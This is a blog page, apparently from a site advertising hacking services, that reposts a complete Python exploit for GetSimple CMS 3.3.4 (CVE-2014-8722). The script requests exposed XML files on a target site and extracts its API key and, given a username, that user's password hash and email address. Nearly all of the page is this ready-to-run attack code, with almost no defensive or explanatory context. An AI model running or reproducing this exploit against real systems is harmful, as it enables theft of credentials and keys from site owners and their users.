Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863551037

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GetSimple CMS 3.3.4 - Information Disclosure
# Date 01.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://get-simple.info/
# Software Link: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip
# Version: 3.3.4
# CVE: CVE-2014-8722
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit


'''
Description:
GetSimple CMS 3.3.4 allows remote attackers to obtain sensitive information via a direct request to
(1) data/users/<username>.xml,
(2) backups/users/<username>.xml.bak,
(3) data/other/authorization.xml, or
(4) data/other/appid.xml.
'''


'''
Import required modules:
'''
import sys
import requests

'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
cmspath = sys.argv[3]
print('')
username = input("Do you know the username? Y/N: ")
if username == 'Y':
    print('')
    username = True
    username_string = input('Please enter the username: ')
else:
    print('')
    username = False
    print('No problem, you will still get the API key')


'''
Get Api-Key:
'''
url = 'http://' + target_ip + ':' + target_port + cmspath + '/data/other/authorization.xml'
header = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
        "Accept-Encoding": "gzip, deflate",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
        "Cache-Control": "max-age=0"
}
x = requests.get(url, headers=header).text
start = x.find('[') + 7
end = x.find(']')
api_key = x[start:end]
print('')
print('Informations:')
print('')
print('[*] API Key: ' + api_key)


if username:
    '''
    Get Email and Passwordhash:
    '''
    url = "http://" + target_ip + ':' + target_port + cmspath + '/data/users/' + username_string + '.xml'
    header = {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "Connection": "close",
            "Upgrade-Insecure-Requests": "1",
            "Cache-Control": "max-age=0"
    }
    x = requests.get(url, headers=header).text
    start =  x[x.find('PWD>'):]
    passwordhash = start[start.find('>') +1 :start.find('<')]
    print('[*] Hashed Password: ' + passwordhash)

    start = x[x.find('EMAIL>'):]
    email = start[start.find('>') + 1 : start.find('<')]
    print('[*] Email: ' + email)
print('')